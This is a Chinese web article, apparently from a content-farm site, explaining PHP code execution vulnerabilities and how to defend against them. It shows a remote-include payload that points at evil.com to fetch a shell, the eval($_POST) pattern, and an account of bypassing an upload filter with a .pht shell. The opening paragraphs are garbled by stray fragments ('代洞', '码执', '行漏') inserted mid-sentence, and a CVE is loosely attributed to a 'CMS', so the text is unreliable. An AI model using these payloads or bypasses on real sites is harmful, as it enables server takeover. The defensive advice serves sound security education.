您现在的位置是:烟消火灭网 > 时尚

php代码执行漏洞

烟消火灭网2026-10-17 08:37:26【时尚】4人已围观

简介2019年,某知名CMS系统爆出一个远程代码执行漏洞CVE-2019-11043),攻击者只需在URL后面拼接一串精心构造的字符串,就能让服务器乖乖执行任意PHP代码。这不是电影情节,是真实发生的事。

2019年,代洞某知名CMS系统爆出一个远程代码执行漏洞(CVE-2019-11043),码执攻击者只需在URL后面拼接一串精心构造的行漏字符串,就能让服务器乖乖执行任意PHP代码。代洞这不是码执电影情节,是行漏真实发生的事。漏洞根源在于Nginx与PHP-FPM之间的代洞配置缺陷,导致攻击者可以覆盖PHP的码执配置项,最终触发代码执行。行漏这个案例说明一个问题:PHP代码执行漏洞的代洞杀伤力,远比很多人想象的码执要大。

PHP代码执行漏洞的行漏本质是什么?说白了,就是代洞攻击者能让服务器运行他自己写的PHP代码。这跟SQL注入、码执XSS有本质区别——后两者是行漏"借用"现有功能搞破坏,而代码执行是直接拿到服务器的"笔",想写什么写什么。一旦成功,WebShell、提权、内网渗透,都是顺理成章的事。

常见的触发点有哪些?我梳理几类。

第一类,文件包含。PHP的include、require函数如果参数可控,攻击者就能包含远程文件或本地恶意文件。比如include($_GET['page']);这种写法,攻击者传个?page=http://evil.com/shell.txt,服务器就去远程拉代码执行了。很多人觉得allow_url_include默认关闭就安全了,但本地文件包含配合文件上传,照样能打穿。

第二类,反序列化。PHP的unserialize()函数如果处理了用户可控数据,攻击者可以构造恶意序列化字符串,利用魔术方法(__destruct、__wakeup等)触发代码执行。这类漏洞在框架和插件里特别多,因为对象链条复杂,挖掘难度大,但一旦找到POP链,威力惊人。

第三类,命令执行函数。有些开发者图省事,直接eval($_POST['code']);,这等于把服务器钥匙挂在门上。更隐蔽的是preg_replace的/e修饰符(PHP 7已移除)、assert()、call_user_func()等回调函数,参数没过滤干净,照样能执行代码。

第四类,文件上传解析。上传一个.php文件被服务器解析执行,这是最经典的场景。但现在的绕过手法越来越花哨:.phtml、.php5、.php.jpg配合Apache的AddHandler配置,甚至利用.htaccess重写规则。防御方如果只黑名单过滤.php,基本等于没防。

说个我亲历的细节。某次渗透测试中,目标站点有个图片上传功能,前端JS校验文件后缀,后端只检查Content-Type。我改包把shell.php的Content-Type设为image/jpeg,上传成功。但访问时返回403——服务器确实不解析.php。换成shell.php.jpg,还是403。最后试了shell.pht,直接返回了命令执行结果。这个.pht后缀,是Apache默认配置里漏掉的解析规则。防御方如果只盯着.php,这种边角料后缀就是突破口。

怎么防?说几个实在的。

输入过滤永远第一位。但别用黑名单,黑名单永远有漏网之鱼。用白名单,比如文件上传只允许.jpg、.png,并且重命名文件,彻底断掉解析可能。

禁用危险函数。eval、assert、system、exec这些,能禁就禁。php.ini里的disable_functions配置好,别偷懒。

文件包含尽量别用动态参数。如果非要用,白名单限定可包含的文件路径,别让用户输入直接进include。

反序列化能不用就不用。如果框架里必须用,确保unserialize()的输入不可控,或者用JSON替代。

还有一点,PHP版本别太老。PHP 5.x早就停止维护了,很多漏洞在新版本里已经修了。升级到PHP 8.x,至少能挡掉一批历史漏洞。

最后说个观察。很多代码执行漏洞的根因不是技术多复杂,而是开发者图方便。一个eval能省十行代码,一个动态包含能少写一个配置文件。安全成本永远是在开发阶段最低,等到漏洞爆出来,修复成本可能是当初的百倍。PHP本身不是不安全的语言,不安全的是写代码的人。

很赞哦!(54997)